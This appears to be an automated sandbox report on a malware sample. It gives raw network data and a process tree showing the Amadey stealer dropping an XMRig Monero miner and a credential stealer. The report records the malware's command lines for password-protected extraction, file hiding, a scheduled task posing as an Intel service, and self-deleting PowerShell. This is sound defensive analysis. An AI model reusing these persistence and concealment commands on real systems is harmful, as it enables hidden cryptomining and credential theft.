6f 7a 4f 63 47 2b 48 59 50 75 54 44 Data Ascii: 0LzVl22T7hUxy4KWOY9taKWQBxX92mtL5Rerpcz+IuyBtpLXqNbsxLfbBsd7jfw99FLEUnubaIqnBrg2j/uxeNK91BaoVC1WsorB1HkOKKskAtRBeJy6XnYOdPgF6DUpF+/W1HzBfBTyCUMWfs1oqGWSxlN7W2lL5YM6NY07sTiT/tdWbdRtxKOYgVFqWPwh5JRBQfLYakmiAj7lyuu0qpB8xwF81m7WMkhC1nkO7mgmEMSTfdrozOcG+HYPuTD
2024-12-16 08:02:19 UTC	1369	IN	Data Raw: 52 50 73 31 43 77 51 4e 49 6b 43 56 4f 70 64 66 43 6f 69 51 74 48 42 64 52 39 6f 6d 47 48 55 50 6d 58 4d 2b 79 4c 73 67 62 38 56 6c 43 39 54 37 52 55 79 79 45 4d 56 65 77 7a 74 4b 57 63 52 42 52 50 37 47 4b 70 4c 70 30 57 36 39 45 36 34 63 33 6d 53 37 38 53 48 62 52 46 38 41 71 41 42 52 68 51 37 79 79 68 6d 70 5a 4c 54 67 58 36 4a 4c 42 68 6e 78 4b 67 6a 33 54 74 78 2b 42 4c 2b 6c 68 56 74 46 36 78 58 73 51 76 44 31 6e 67 50 37 57 39 67 30 30 52 52 65 70 6b 70 69 32 4b 45 4f 58 58 4f 4b 43 46 71 6b 48 6e 48 41 58 7a 62 4b 64 53 67 44 31 4d 52 4b 6b 38 76 4f 2f 4a 43 78 42 49 39 32 61 6d 49 5a 6b 64 35 4e 77 7a 35 73 33 72 52 66 70 66 57 4c 56 63 73 46 37 4b 4a 51 70 58 35 7a 61 32 71 35 64 4e 58 77 75 6c 62 62 46 68 77 46 37 53 32 6a 72 70 79 4f 78 4c 36 Data Ascii: RPs1CwQNIkCVOpdfCoiQtHBdR9omGHUPmXM+yLsgb8VlC9T7RUyyEMVewztKWcRBRP7GKpLp0W69E64c3mS78SHbRF8AqABRhQ7yyhmpZLTgX6JLBhnxKgj3Ttx+BL+lhVtF6xXsQvD1ngP7W9g00RRepkpi2KEOXXOKCFqkHnHAXzbKdSgD1MRKk8vO/JCxBI92amIZkd5Nwz5s3rRfpfWLVcsF7KJQpX5za2q5dNXwulbbFhwF7S2jrpyOxL6
2024-12-16 08:02:19 UTC	1369	IN	Data Raw: 5a 73 46 32 41 62 45 4a 61 38 58 76 6f 37 37 46 41 43 57 54 72 59 62 74 68 68 31 44 35 6c 7a 50 73 69 37 49 47 38 56 56 63 75 31 4f 38 57 73 51 77 41 6c 62 67 4e 4c 47 67 6b 55 67 65 54 2b 31 34 72 79 47 54 46 75 66 66 4d 4f 37 5a 36 30 6d 2f 45 68 32 30 52 66 41 4b 67 42 4d 55 57 75 34 30 38 6f 61 57 55 42 35 50 35 6d 47 6c 59 59 64 51 2b 5a 63 7a 37 49 75 79 42 76 4a 51 55 4c 64 50 76 46 4c 41 4b 77 56 58 2b 7a 53 2f 6f 70 4a 4c 47 6c 66 6b 65 4b 59 71 6e 52 33 6b 32 44 76 73 77 2b 41 47 73 52 78 61 71 78 33 6f 45 75 77 68 45 31 65 72 48 4b 71 35 6c 6b 63 4f 54 75 68 6d 36 54 37 57 42 36 44 51 4f 4b 43 54 71 6b 62 2b 55 55 2b 32 58 4c 70 59 7a 53 6f 4e 57 4f 77 30 74 4b 75 61 52 51 31 4c 36 6d 71 76 4b 70 6b 62 34 39 77 2b 37 73 4c 34 42 72 45 63 57 71 Data Ascii: ZsF2AbEJa8Xvo77FACWTrYbthh1D5lzPsi7IG8VVcu1O8WsQwAlbgNLGgkUgeT+14ryGTFuffMO7Z60m/Eh20RfAKgBMUWu408oaWUB5P5mGlYYdQ+Zcz7IuyBvJQULdPvFLAKwVX+zS/opJLGlfkeKYqnR3k2Dvsw+AGsRxaqx3oEuwhE1erHKq5lkcOTuhm6T7WB6DQOKCTqkb+UU+2XLpYzSoNWOw0tKuaRQ1L6mqvKpkb49w+7sL4BrEcWq
2024-12-16 08:02:19 UTC	1369	IN	Data Raw: 79 69 34 4f 58 4f 45 79 75 71 71 55 54 52 56 47 36 32 57 6f 4c 5a 77 58 37 74 35 30 72 6f 76 74 58 72 38 45 48 59 56 4e 74 30 72 4e 4d 6b 42 76 36 69 71 68 75 70 78 62 47 51 66 4b 61 61 55 69 6e 52 6e 77 6c 79 75 75 30 71 70 42 38 78 77 46 38 31 32 30 58 73 4d 6c 44 46 4c 6b 4e 4c 65 6b 6e 6b 45 52 56 2b 70 76 6f 53 32 51 45 2f 4c 64 50 76 4c 43 34 30 76 78 56 45 2b 77 48 66 34 53 78 7a 70 43 42 61 6b 4a 75 71 79 64 58 52 4a 4b 70 58 58 6e 4f 4e 67 5a 37 4a 64 73 6f 4e 6e 34 52 76 52 63 57 72 31 50 73 56 72 50 4b 41 4a 62 34 6a 47 7a 70 70 56 46 46 6b 50 6b 5a 36 67 67 6d 42 76 67 33 69 62 74 69 36 51 47 2b 45 51 64 36 78 32 48 58 73 73 54 41 55 75 70 4a 50 36 32 30 55 77 54 42 62 30 71 71 44 4f 56 46 75 54 58 4f 65 62 41 36 30 66 38 58 46 32 77 58 62 56 Data Ascii: yi4OXOEyuqqUTRVG62WoLZwX7t50rovtXr8EHYVNt0rNMkBv6iqhupxbGQfKaaUinRnwlyuu0qpB8xwF8120XsMlDFLkNLeknkERV+pvoS2QE/LdPvLC40vxVE+wHf4SxzpCBakJuqydXRJKpXXnONgZ7JdsoNn4RvRcWr1PsVrPKAJb4jGzppVFFkPkZ6ggmBvg3ibti6QG+EQd6x2HXssTAUupJP620UwTBb0qqDOVFuTXOebA60f8XF2wXbV
2024-12-16 08:02:19 UTC	1369	IN	Data Raw: 55 2f 37 50 62 4f 35 6b 67 77 68 65 38 56 68 76 79 43 56 46 65 7a 70 43 76 58 49 35 45 6a 34 53 6b 7a 7a 45 2f 42 64 67 48 6f 37 48 61 46 37 6a 2b 48 52 55 31 38 64 70 56 2b 71 4c 35 59 5a 39 73 5a 35 77 4d 44 38 52 2f 4a 58 55 66 46 63 76 55 4c 48 59 6b 77 64 37 33 76 6f 2f 39 38 4c 47 31 53 6c 4d 76 6c 7a 77 30 75 7a 67 47 53 79 31 4b 52 66 76 30 6f 64 36 77 2f 2b 45 74 4a 69 57 68 32 75 4f 4b 4b 39 6c 30 67 4a 52 71 4a 55 6c 77 47 54 45 75 50 62 4e 65 65 4c 70 41 62 77 48 41 57 4b 48 62 4e 41 30 6d 30 54 53 2b 51 72 74 2b 4f 5a 57 68 4a 4a 70 53 54 70 62 5a 77 56 37 4e 49 7a 38 49 54 34 56 76 52 51 53 2f 39 5a 6f 68 4b 4f 59 68 4e 57 35 69 6d 2b 71 4e 35 61 43 55 6a 31 61 61 77 6d 31 42 62 78 32 6a 69 67 68 61 70 54 39 46 42 62 76 6b 6a 2f 51 39 59 68 Data Ascii: U/7PbO5kgwhe8VhvyCVFezpCvXI5Ej4SkzzE/BdgHo7HaF7j+HRU18dpV+qL5YZ9sZ5wMD8R/JXUfFcvULHYkwd73vo/98LG1SlMvlzw0uzgGSy1KRfv0od6w/+EtJiWh2uOKK9l0gJRqJUlwGTEuPbNeeLpAbwHAWKHbNA0m0TS+Qrt+OZWhJJpSTpbZwV7NIz8IT4VvRQS/9ZohKOYhNW5im+qN5aCUj1aawm1Bbx2jighapT9FBbvkj/Q9Yh
2024-12-16 08:02:19 UTC	1369	IN	Data Raw: 57 37 75 5a 59 4c 49 41 75 6c 63 75 6c 35 32 43 76 6a 32 54 72 6e 33 66 73 4c 32 56 39 61 74 56 36 2b 52 64 46 69 54 42 33 76 65 2b 6a 39 33 77 73 62 56 4b 55 79 2b 58 50 44 53 37 4f 41 5a 4c 4c 55 70 46 2b 2f 53 68 33 72 44 76 34 53 30 6d 4a 61 48 61 34 31 76 61 36 53 52 52 78 58 39 32 79 71 4e 35 74 5a 33 75 6b 52 37 63 62 76 53 50 68 69 59 35 4a 58 6f 46 2f 50 4a 54 78 6a 33 69 71 33 76 39 4e 74 48 46 50 6d 4b 75 64 68 67 46 36 34 6c 78 58 71 32 2b 64 4a 2b 42 77 54 38 31 6e 77 43 6f 41 48 44 31 44 73 4e 62 66 74 73 45 45 50 53 4f 70 74 36 57 2f 59 45 71 43 50 64 4f 48 42 2b 6b 76 77 57 78 47 30 52 37 63 53 6a 6d 49 4d 48 62 46 37 73 61 57 42 52 68 42 43 71 57 79 6e 4c 39 67 42 72 73 35 30 39 6f 75 79 46 62 45 63 54 2f 4d 46 38 42 58 4f 4c 77 4e 65 35 Data Ascii: W7uZYLIAulcul52Cvj2Trn3fsL2V9atV6+RdFiTB3ve+j93wsbVKUy+XPDS7OAZLLUpF+/Sh3rDv4S0mJaHa41va6SRRxX92yqN5tZ3ukR7cbvSPhiY5JXoF/PJTxj3iq3v9NtHFPmKudhgF64lxXq2+dJ+BwT81nwCoAHD1DsNbftsEEPSOpt6W/YEqCPdOHB+kvwWxG0R7cSjmIMHbF7saWBRhBCqWynL9gBrs509ouyFbEcT/MF8BXOLwNe5

Target ID:	0
Start time:	03:00:08
Start date:	16/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x420000
File size:	3'011'072 bytes
MD5 hash:	1A9CDA42BD79F38DEDA9368800B61527
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2103410180.0000000004700000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:00:10
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x780000
File size:	3'011'072 bytes
MD5 hash:	1A9CDA42BD79F38DEDA9368800B61527
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2170404472.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2129737672.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:01:00
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x780000
File size:	3'011'072 bytes
MD5 hash:	1A9CDA42BD79F38DEDA9368800B61527
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2620426839.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:01:16
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	03:01:21
Start date:	16/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff7d1ca0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	03:01:21
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:01:21
Start date:	16/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff7f4910000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:01:21
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Imagebase:	0x20000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:01:21
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0x20000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:01:21
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0x20000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:01:21
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0x7ff6068e0000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:01:22
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0x20000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:01:22
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0x20000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:01:22
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0x20000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:01:22
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0x20000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:01:22
Start date:	16/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "in.exe"
Imagebase:	0x7ff762a90000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:01:22
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\in.exe
Wow64 process (32bit):	false
Commandline:	"in.exe"
Imagebase:	0x7ff674470000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:01:22
Start date:	16/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff762a90000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:01:22
Start date:	16/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff762a90000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:01:22
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:01:22
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe"
Imagebase:	0x2b0000
File size:	727'552 bytes
MD5 hash:	28E568616A7B792CAC1726DEB77D9039
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:01:22
Start date:	16/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Imagebase:	0x7ff6f27a0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	03:01:22
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	03:01:23
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.0.0.1; del in.exe
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	03:01:23
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	03:01:23
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	03:01:23
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:01:24
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff6d8f20000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 67%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	03:01:25
Start date:	16/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000002.2876063230.000000000120A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000002.2882047481.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000002.2882218536.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000002.2876063230.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:01:24
Start date:	16/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff60f490000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	03:01:25
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:01:25
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	03:01:26
Start date:	16/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.1.10.1
Imagebase:	0x7ff60f490000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	03:01:27
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe"
Imagebase:	0x2b0000
File size:	727'552 bytes
MD5 hash:	28E568616A7B792CAC1726DEB77D9039
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	03:01:35
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe"
Imagebase:	0xc0000
File size:	4'461'568 bytes
MD5 hash:	D07B71D8B42A7249751157D427CB95C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	03:01:47
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe"
Imagebase:	0xe50000
File size:	4'485'120 bytes
MD5 hash:	9A1A8278DE829A8B0430E9EB10174992
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	03:01:56
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe"
Imagebase:	0x4e0000
File size:	1'818'624 bytes
MD5 hash:	92C6B7AA6070E9F99B8C4F896B577578
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	03:02:01
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff6d8f20000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
